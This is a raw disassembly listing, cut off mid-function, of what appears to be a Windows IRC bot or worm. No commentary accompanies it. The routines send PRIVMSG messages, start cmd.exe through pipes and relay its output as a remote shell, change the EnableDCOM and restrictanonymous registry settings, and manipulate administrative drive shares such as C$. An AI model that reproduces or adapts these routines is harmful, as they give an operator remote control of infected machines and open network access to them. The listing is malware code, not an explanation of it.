[ebp+arg_4] call sub_418A30 pop ecx test eax, eax pop ecx jz short loc_413C13 push 7D0h call dword_4E033C ; Sleep push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_417CB0 add esp, 10h jmp short loc_413C2A ; --------------------------------------------------------------------------- loc_413C13: ; CODE XREF: sub_413BD0+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_19 ; "%s" push eax call sub_417CB0 add esp, 0Ch loc_413C2A: ; CODE XREF: sub_413BD0+41j lea eax, [ebp+var_200] push 0 push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4D66B8 ; send test eax, eax jg short loc_413C53 call sub_413B68 loc_413C53: ; CODE XREF: sub_413BD0+7Cj xor eax, eax leave retn sub_413BD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413C57 proc near ; DATA XREF: sub_413DAC+174o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DDEFC loc_413C6F: ; CODE XREF: sub_413C57+79j ; sub_413C57+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_417700 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DDEF0 call dword_4E0434 ; PeekNamedPipe test eax, eax jz loc_413D3D cmp [ebp+var_4], edi jnz short loc_413CD2 lea eax, [ebp+var_8] push eax push dword_4DDEEC call dword_4E0430 ; GetExitCodeProcess test eax, eax jz short loc_413CC8 cmp [ebp+var_8], 103h jnz loc_413D61 loc_413CC8: ; CODE XREF: sub_413C57+62j push 0Ah call dword_4E033C ; Sleep jmp short loc_413C6F ; --------------------------------------------------------------------------- loc_413CD2: ; CODE XREF: sub_413C57+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_413CE9 loc_413CD9: ; CODE XREF: sub_413C57+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_413D37 inc eax cmp eax, [ebp+var_4] jb short loc_413CD9 loc_413CE9: ; CODE XREF: sub_413C57+80j mov [ebp+var_4], esi loc_413CEC: ; CODE XREF: sub_413C57+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_417700 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DDEF0 call dword_4E03B8 ; ReadFile test eax, eax jz short loc_413D89 lea eax, [ebp+var_20C] push eax push ebx push dword_4DDF30 call sub_413BD0 add esp, 0Ch jmp loc_413C6F ; --------------------------------------------------------------------------- loc_413D37: ; CODE XREF: sub_413C57+8Aj inc eax mov [ebp+var_4], eax jmp short loc_413CEC ; --------------------------------------------------------------------------- loc_413D3D: ; CODE XREF: sub_413C57+45j push offset unk_4445E0 push ebx push dword_4DDF30 call sub_413BD0 push [ebp+arg_0] call sub_409979 add esp, 10h push 1 call dword_4E03A0 ; ExitThread loc_413D61: ; CODE XREF: sub_413C57+6Bj call sub_413B68 push offset unk_444610 push ebx push dword_4DDF30 call sub_413BD0 push [ebp+arg_0] call sub_409979 add esp, 10h push edi call dword_4E03A0 ; ExitThread loc_413D89: ; CODE XREF: sub_413C57+C3j push offset unk_444638 push ebx push dword_4DDF30 call sub_413BD0 push [ebp+arg_0] call sub_409979 add esp, 10h push edi call dword_4E03A0 ; ExitThread sub_413C57 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413DAC proc near ; CODE XREF: sub_401C87+1FCAp ; sub_4104B2+99p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push esi push edi call sub_413B68 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe_0 ; "cmd.exe" push esi call dword_4D6720 ; SearchPathA test eax, eax jz loc_413EA6 lea eax, [ebp+var_1C] mov edi, dword_4E03C8 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], 1 mov [ebp+var_18], esi call edi ; CreatePipe test eax, eax jz loc_413EA6 lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi ; CreatePipe test eax, eax jz loc_413EA6 mov edi, dword_4E03C4 push 3 push esi push esi push offset dword_4DDEF4 call edi ; GetCurrentProcess push eax push [ebp+var_8] call edi ; GetCurrentProcess push eax call dword_4E03C0 ; DuplicateHandle test eax, eax jz short loc_413EA6 push 10h lea eax, [ebp+var_2C] push esi push eax call sub_417700 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_417700 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push 1 push esi push esi lea eax, [ebp+var_178] push offset byte_4DDF35 push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call dword_4E0330 ; CreateProcessA test eax, eax jnz short loc_413EAE loc_413EA6: ; CODE XREF: sub_413DAC+2Ej ; sub_413DAC+5Cj ... or eax, 0FFFFFFFFh jmp loc_413F60 ; --------------------------------------------------------------------------- loc_413EAE: ; CODE XREF: sub_413DAC+F8j push [ebp+var_4] mov edi, dword_4E032C call edi ; CloseHandle mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DDEF0, eax mov eax, [ebp+var_8] mov dword_4DDEF8, eax mov eax, [ebp+var_2C] mov dword_4DDEEC, eax call edi ; CloseHandle mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DDF30, eax jz short loc_413EE8 push [ebp+arg_4] jmp short loc_413EED ; --------------------------------------------------------------------------- loc_413EE8: ; CODE XREF: sub_413DAC+135j push offset word_4DDF36 loc_413EED: ; CODE XREF: sub_413DAC+13Aj push offset dword_4DDEFC call sub_417CB0 pop ecx pop ecx push esi push 0Ah push offset unk_444670 call sub_409663 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_4495A8[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_413C57 push esi push esi call dword_4E0340 ; CreateThread cmp eax, esi mov dword_4495B4[edi], eax jnz short loc_413F5E call dword_4E0350 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_378] push offset unk_444694 push eax call sub_417CB0 lea eax, [ebp+var_378] push eax call sub_40F927 add esp, 10h loc_413F5E: ; CODE XREF: sub_413DAC+189j xor eax, eax loc_413F60: ; CODE XREF: sub_413DAC+FDj pop edi pop esi leave retn sub_413DAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413F64 proc near ; DATA XREF: sub_401C87+27D5o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_413FAB call sub_413FC4 jmp short loc_413FB0 ; --------------------------------------------------------------------------- loc_413FAB: ; CODE XREF: sub_413F64+3Ej call sub_4142EA loc_413FB0: ; CODE XREF: sub_413F64+45j add esp, 10h push [ebp+var_14] call sub_409979 pop ecx push 0 call dword_4E03A0 ; ExitThread sub_413F64 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413FC4 proc near ; CODE XREF: sub_413F64+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4D6734, edi jnz loc_4140F6 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4D66D8 ; RegOpenKeyExA test eax, eax jnz short loc_41404F mov ax, word_444708 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4D668C ; RegSetValueExA test eax, eax lea eax, [ebp+var_214] jz short loc_414037 push offset dword_444718 jmp short loc_41403C ; --------------------------------------------------------------------------- loc_414037: ; CODE XREF: sub_413FC4+6Aj push offset dword_44473C loc_41403C: ; CODE XREF: sub_413FC4+71j push eax call sub_417CB0 pop ecx pop ecx push [ebp+var_4] call dword_4D6644 ; RegCloseKey jmp short loc_414062 ; --------------------------------------------------------------------------- loc_41404F: ; CODE XREF: sub_413FC4+36j lea eax, [ebp+var_214] push offset dword_44475C push eax call sub_417CB0 pop ecx pop ecx loc_414062: ; CODE XREF: sub_413FC4+89j cmp [ebp+arg_C], edi jnz short loc_414081 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 14h loc_414081: ; CODE XREF: sub_413FC4+A1j lea eax, [ebp+var_214] push eax call sub_40F927 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4D66D8 ; RegOpenKeyExA test eax, eax jnz short loc_4140EF lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4D668C ; RegSetValueExA test eax, eax lea eax, [ebp+var_214] jz short loc_4140D7 push offset dword_4447A0 jmp short loc_4140DC ; --------------------------------------------------------------------------- loc_4140D7: ; CODE XREF: sub_413FC4+10Aj push offset dword_4447DC loc_4140DC: ; CODE XREF: sub_413FC4+111j push eax call sub_417CB0 pop ecx pop ecx push [ebp+var_4] call dword_4D6644 ; RegCloseKey jmp short loc_414109 ; --------------------------------------------------------------------------- loc_4140EF: ; CODE XREF: sub_413FC4+E2j push offset dword_444810 jmp short loc_4140FB ; --------------------------------------------------------------------------- loc_4140F6: ; CODE XREF: sub_413FC4+13j push offset dword_44484C loc_4140FB: ; CODE XREF: sub_413FC4+130j lea eax, [ebp+var_214] push eax call sub_417CB0 pop ecx pop ecx loc_414109: ; CODE XREF: sub_413FC4+129j cmp [ebp+arg_C], edi jnz short loc_414128 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 14h loc_414128: ; CODE XREF: sub_413FC4+148j lea eax, [ebp+var_214] push eax call sub_40F927 cmp dword_4D675C, edi pop ecx jnz loc_4142A5 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41414B: ; CODE XREF: sub_413FC4+2C5j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4D65AC cmp eax, edi mov [ebp+var_10], eax jz short loc_4141EA cmp eax, 0EAh jz short loc_4141EA xor esi, esi loc_414179: ; CODE XREF: sub_413FC4+21Fj push off_4446E8[esi] push edi call sub_412839 pop ecx pop ecx push off_4446E8[esi] test eax, eax lea eax, [ebp+var_214] jnz short loc_41419E push offset dword_44487C jmp short loc_4141A3 ; --------------------------------------------------------------------------- loc_41419E: ; CODE XREF: sub_413FC4+1D1j push offset dword_4448A0 loc_4141A3: ; CODE XREF: sub_413FC4+1D8j push 200h push eax call sub_417E80 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_4141D0 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 14h loc_4141D0: ; CODE XREF: sub_413FC4+1F0j lea eax, [ebp+var_214] push eax call sub_40F927 add esi, 8 pop ecx cmp esi, 20h jb short loc_414179 jmp loc_414282 ; --------------------------------------------------------------------------- loc_4141EA: ; CODE XREF: sub_413FC4+1AAj ; sub_413FC4+1B1j mov esi, [ebp+var_8] xor ebx, ebx inc ebx cmp [ebp+var_4], ebx jb loc_414279 loc_4141F9: ; CODE XREF: sub_413FC4+2B1j mov edi, [esi] push edi call sub_41A860 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41426E push edi call sub_412726 push eax push 0 call sub_412839 add esp, 0Ch push dword ptr [esi] test eax, eax lea eax, [ebp+var_214] jnz short loc_41422E push offset dword_4448CC jmp short loc_414233 ; --------------------------------------------------------------------------- loc_41422E: ; CODE XREF: sub_413FC4+261j push offset dword_4448F0 loc_414233: ; CODE XREF: sub_413FC4+268j push 200h push eax call sub_417E80 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_414261 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 14h loc_414261: ; CODE XREF: sub_413FC4+281j lea eax, [ebp+var_214] push eax call sub_40F927 pop ecx loc_41426E: ; CODE XREF: sub_413FC4+244j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_4141F9 xor edi, edi loc_414279: ; CODE XREF: sub_413FC4+22Fj push [ebp+var_8] call dword_4D66F8 loc_414282: ; CODE XREF: sub_413FC4+221j cmp [ebp+var_10], 0EAh jz loc_41414B lea eax, [ebp+var_214] push offset dword_44491C push eax call sub_417CB0 pop ecx pop ecx pop ebx jmp short loc_4142B8 ; --------------------------------------------------------------------------- loc_4142A5: ; CODE XREF: sub_413FC4+177j lea eax, [ebp+var_214] push offset dword_444944 push eax call sub_417CB0 pop ecx pop ecx loc_4142B8: ; CODE XREF: sub_413FC4+2DFj cmp [ebp+arg_C], edi jnz short loc_4142D6 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 14h loc_4142D6: ; CODE XREF: sub_413FC4+2F7j lea eax, [ebp+var_214] push eax call sub_40F927 pop ecx xor eax, eax pop edi inc eax pop esi leave retn sub_413FC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4142EA proc near ; CODE XREF: sub_413F64:loc_413FABp var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push esi push edi xor edi, edi cmp dword_4D6734, edi jnz loc_414418 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4D66D8 ; RegOpenKeyExA test eax, eax jnz short loc_414375 mov ax, word_444974 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom_0 ; "EnableDCOM" push [ebp+var_4] call dword_4D668C ; RegSetValueExA test eax, eax lea eax, [ebp+var_220] jz short loc_41435D push offset dword_444984 jmp short loc_414362 ; --------------------------------------------------------------------------- loc_41435D: ; CODE XREF: sub_4142EA+6Aj push offset dword_4449A8 loc_414362: ; CODE XREF: sub_4142EA+71j push eax call sub_417CB0 pop ecx pop ecx push [ebp+var_4] call dword_4D6644 ; RegCloseKey jmp short loc_414388 ; --------------------------------------------------------------------------- loc_414375: ; CODE XREF: sub_4142EA+36j lea eax, [ebp+var_220] push offset dword_4449C4 push eax call sub_417CB0 pop ecx pop ecx loc_414388: ; CODE XREF: sub_4142EA+89j cmp [ebp+arg_C], edi jnz short loc_4143A7 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 14h loc_4143A7: ; CODE XREF: sub_4142EA+A1j lea eax, [ebp+var_220] push eax call sub_40F927 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4D66D8 ; RegOpenKeyExA test eax, eax jnz short loc_414411 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanon_0 ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], edi call dword_4D668C ; RegSetValueExA test eax, eax lea eax, [ebp+var_220] jz short loc_4143F9 push offset dword_444A08 jmp short loc_4143FE ; --------------------------------------------------------------------------- loc_4143F9: ; CODE XREF: sub_4142EA+106j push offset dword_444A48 loc_4143FE: ; CODE XREF: sub_4142EA+10Dj push eax call sub_417CB0 pop ecx pop ecx push [ebp+var_4] call dword_4D6644 ; RegCloseKey jmp short loc_41442B ; --------------------------------------------------------------------------- loc_414411: ; CODE XREF: sub_4142EA+E2j push offset dword_444A80 jmp short loc_41441D ; --------------------------------------------------------------------------- loc_414418: ; CODE XREF: sub_4142EA+13j push offset dword_444ABC loc_41441D: ; CODE XREF: sub_4142EA+12Cj lea eax, [ebp+var_220] push eax call sub_417CB0 pop ecx pop ecx loc_41442B: ; CODE XREF: sub_4142EA+125j cmp [ebp+arg_C], edi jnz short loc_41444A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 14h loc_41444A: ; CODE XREF: sub_4142EA+144j lea eax, [ebp+var_220] push eax call sub_40F927 cmp dword_4D675C, edi pop ecx jnz loc_4145C1 xor esi, esi loc_414465: ; CODE XREF: sub_4142EA+1ECj push dword_4446EC[esi] push off_4446E8[esi] push edi call sub_41278D add esp, 0Ch push off_4446E8[esi] test eax, eax lea eax, [ebp+var_220] jnz short loc_414491 push offset dword_444AEC jmp short loc_414496 ; --------------------------------------------------------------------------- loc_414491: ; CODE XREF: sub_4142EA+19Ej push offset dword_444B0C loc_414496: ; CODE XREF: sub_4142EA+1A5j push 200h push eax call sub_417E80 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_4144C3 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 14h loc_4144C3: ; CODE XREF: sub_4142EA+1BDj lea eax, [ebp+var_220] push eax call sub_40F927 add esi, 8 pop ecx cmp esi, 10h jb short loc_414465 push ebx call dword_4E0438 ; GetLogicalDrives mov edi, eax mov bl, 41h test edi, edi jz loc_4145A9 loc_4144EB: ; CODE XREF: sub_4142EA+2B9j mov eax, edi and eax, 1 cmp al, 1 jnz loc_41459F cmp bl, 41h jz loc_41459F movsx esi, bl push esi push offset aC_2 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_417E80 push esi push offset aC_3 ; "%c:\\" lea eax, [ebp+var_20] push 0Ah push eax call sub_417E80 add esp, 20h lea eax, [ebp+var_20] push eax call dword_4D66C8 ; GetDriveTypeA cmp eax, 3 jnz short loc_41459F lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 loc_414542: ; DATA XREF: .data:00447CA0o call sub_41278D add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_220] jnz short loc_41455F push offset dword_444B40 jmp short loc_414564 ; --------------------------------------------------------------------------- loc_41455F: ; CODE XREF: sub_4142EA+26Cj push offset dword_444B60 loc_414564: ; CODE XREF: sub_4142EA+273j push 200h push eax call sub_417E80 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_414592 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 14h loc_414592: ; CODE XREF: sub_4142EA+28Cj lea eax, [ebp+var_220] push eax call sub_40F927 pop ecx loc_41459F: ; CODE XREF: sub_4142EA+208j ; sub_4142EA+211j ... inc bl shr edi, 1 jnz loc_4144EB loc_4145A9: ; CODE XREF: sub_4142EA+1FBj lea eax, [ebp+var_220] push offset dword_444B88 push eax call sub_417CB0 pop ecx xor edi, edi pop ecx pop ebx jmp short loc_4145D4 ; --------------------------------------------------------------------------- loc_4145C1: ; CODE XREF: sub_4142EA+173j lea eax, [ebp+var_220] push offset dword_444BAC push eax call sub_417CB0 pop ecx pop ecx loc_4145D4: ; CODE XREF: sub_4142EA+2D5j cmp [ebp+arg_C], edi jnz short loc_4145F2 push edi lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 14h loc_4145F2: ; CODE XREF: sub_4142EA+2EDj lea eax, [ebp+var_220] push eax call sub_40F927 pop ecx xor eax, eax pop edi inc eax pop esi leave retn sub_4142EA endp ; =============== S U B R O U T I N E ======================================= sub_414606 proc near ; CODE XREF: sub_401C87+2063p ; sub_401C87+24D8p ... arg_0 = dword ptr 4 push esi push edi call dword_4E036C ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx xor edx, edx mov ecx, 15180h mov esi, 0E10h push 3Ch pop edi sub eax, [esp+8+arg_0] div ecx mov ecx, eax mov eax, edx xor edx, edx div esi mov esi, eax mov eax, edx xor edx, edx div edi push eax push esi push ecx push offset aDdDhDm ; "%dd %dh %dm" mov esi, offset dword_4DDF38 push 32h push esi call sub_417E80 add esp, 18h mov eax, esi pop edi pop esi retn sub_414606 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h lea eax, [ebp-94h] push esi push eax xor esi, esi mov dword ptr [ebp-94h], 94h call dword_4E039C ; GetVersionExA test eax, eax jz short loc_4146EB cmp dword ptr [ebp-90h], 4 jnz short loc_4146C1 cmp [ebp-8Ch], esi jnz short loc_4146A9 cmp dword ptr [ebp-84h], 1 jnz short loc_41469B inc esi loc_41469B: ; CODE XREF: .data:00414698j cmp dword ptr [ebp-84h], 2 jnz short loc_4146EB xor esi, esi inc esi jmp short loc_4146EB ; --------------------------------------------------------------------------- loc_4146A9: ; CODE XREF: .data:0041468Fj cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_4146B6 loc_4146B2: ; CODE XREF: .data:004146D0j push 2 jmp short loc_4146EA ; --------------------------------------------------------------------------- loc_4146B6: ; CODE XREF: .data:004146B0j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_4146EB jmp short loc_4146DB ; --------------------------------------------------------------------------- loc_4146C1: ; CODE XREF: .data:00414687j cmp dword ptr [ebp-90h], 5 jnz short loc_4146EB cmp [ebp-8Ch], esi jz short loc_4146B2 cmp dword ptr [ebp-8Ch], 1 jnz short loc_4146DF loc_4146DB: ; CODE XREF: .data:004146BFj push 3 jmp short loc_4146EA ; --------------------------------------------------------------------------- loc_4146DF: ; CODE XREF: .data:004146D9j cmp dword ptr [ebp-8Ch], 2 jnz short loc_4146EB push 7 loc_4146EA: ; CODE XREF: .data:004146B4j ; .data:004146DDj pop esi loc_4146EB: ; CODE XREF: .data:0041467Ej ; .data:004146A2j ... mov eax, esi pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_4146F0 proc near ; CODE XREF: sub_4147AC+290p push ebx push esi push edi mov esi, 0F4240h loc_4146F8: ; CODE XREF: sub_4146F0+35j ; sub_4146F0+3Bj call sub_414B29 push 3E8h mov edi, eax mov ebx, edx call dword_4E033C ; Sleep call sub_414B29 sub eax, edi push 0 sbb edx, ebx push esi push edx push eax call sub_41A430 mov edi, edx mov ebx, eax test edi, edi ja short loc_4146F8 jb short loc_41472D cmp ebx, esi ja short loc_4146F8 loc_41472D: ; CODE XREF: sub_4146F0+37j push 0 push 64h push edi push ebx call sub_41A4A0 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_4147A0 jb short loc_41474C cmp esi, 50h jnb short loc_414751 loc_41474C: ; CODE XREF: sub_4146F0+55j push 4Bh xor edx, edx pop eax loc_414751: ; CODE XREF: sub_4146F0+5Aj test ecx, ecx ja short loc_4147A0 jb short loc_41475C cmp esi, 47h jnb short loc_414761 loc_41475C: ; CODE XREF: sub_4146F0+65j push 42h xor edx, edx pop eax loc_414761: ; CODE XREF: sub_4146F0+6Aj test ecx, ecx ja short loc_4147A0 jb short loc_41476C cmp esi, 37h jnb short loc_414771 loc_41476C: ; CODE XREF: sub_4146F0+75j push 32h xor edx, edx pop eax loc_414771: ; CODE XREF: sub_4146F0+7Aj test ecx, ecx ja short loc_4147A0 jb short loc_41477C cmp esi, 26h jnb short loc_414781 loc_41477C: ; CODE XREF: sub_4146F0+85j push 21h xor edx, edx pop eax loc_414781: ; CODE XREF: sub_4146F0+8Aj test ecx, ecx ja short loc_4147A0 jb short loc_41478C cmp esi, 1Eh jnb short loc_414791 loc_41478C: ; CODE XREF: sub_4146F0+95j push 19h xor edx, edx pop eax loc_414791: ; CODE XREF: sub_4146F0+9Aj test ecx, ecx ja short loc_4147A0 jb short loc_41479C cmp esi, 0Ah jnb short loc_4147A0 loc_41479C: ; CODE XREF: sub_4146F0+A5j xor eax, eax xor edx, edx loc_4147A0: ; CODE XREF: sub_4146F0+53j ; sub_4146F0+63j ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_4146F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4147AC proc near ; CODE XREF: sub_401C87+223Bp var_968 = byte ptr -968h var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 968h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset word_4DDF6A mov [ebp+var_CC], 94h call dword_4E039C ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_414833 cmp [ebp+var_C4], ebx jnz short loc_41480F cmp [ebp+var_BC], 1 jnz short loc_4147F9 mov [ebp+var_4], offset a95 ; "95" loc_4147F9: ; CODE XREF: sub_4147AC+44j cmp [ebp+var_BC], 2 jnz loc_4148AE mov [ebp+var_4], offset aNt ; "NT" jmp short loc_41487F ; --------------------------------------------------------------------------- loc_41480F: ; CODE XREF: sub_4147AC+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_414821 mov [ebp+var_4], offset a98 ; "98" jmp short loc_414876 ; --------------------------------------------------------------------------- loc_414821: ; CODE XREF: sub_4147AC+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41486F mov [ebp+var_4], offset aMe_0 ; "ME" jmp short loc_414876 ; --------------------------------------------------------------------------- loc_414833: ; CODE XREF: sub_4147AC+33j cmp [ebp+var_C8], 5 jnz short loc_41486F cmp [ebp+var_C4], ebx jnz short loc_41484D mov [ebp+var_4], offset a2k ; "2K" jmp short loc_414876 ; --------------------------------------------------------------------------- loc_41484D: ; CODE XREF: sub_4147AC+96j cmp [ebp+var_C4], 1 jnz short loc_41485F mov [ebp+var_4], offset aXp_2 ; "XP" jmp short loc_414876 ; --------------------------------------------------------------------------- loc_41485F: ; CODE XREF: sub_4147AC+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003_0 ; "2003" jz short loc_414876 loc_41486F: ; CODE XREF: sub_4147AC+7Cj ; sub_4147AC+8Ej mov [ebp+var_4], offset a??? ; "???" loc_414876: ; CODE XREF: sub_4147AC+73j ; sub_4147AC+85j ... cmp [ebp+var_BC], 2 jnz short loc_4148AE loc_41487F: ; CODE XREF: sub_4147AC+61j cmp [ebp+var_B8], bl jz short loc_4148AE lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_6 ; "%s (%s)" push eax call sub_417CB0 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_4148AE: ; CODE XREF: sub_4147AC+54j ; sub_4147AC+D1j ... mov ax, word_444C18 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4D6548 mov [ebp+var_8], 100h cmp eax, ebx jz short loc_4148E7 lea ecx, [ebp+var_8] push ecx lea ecx, 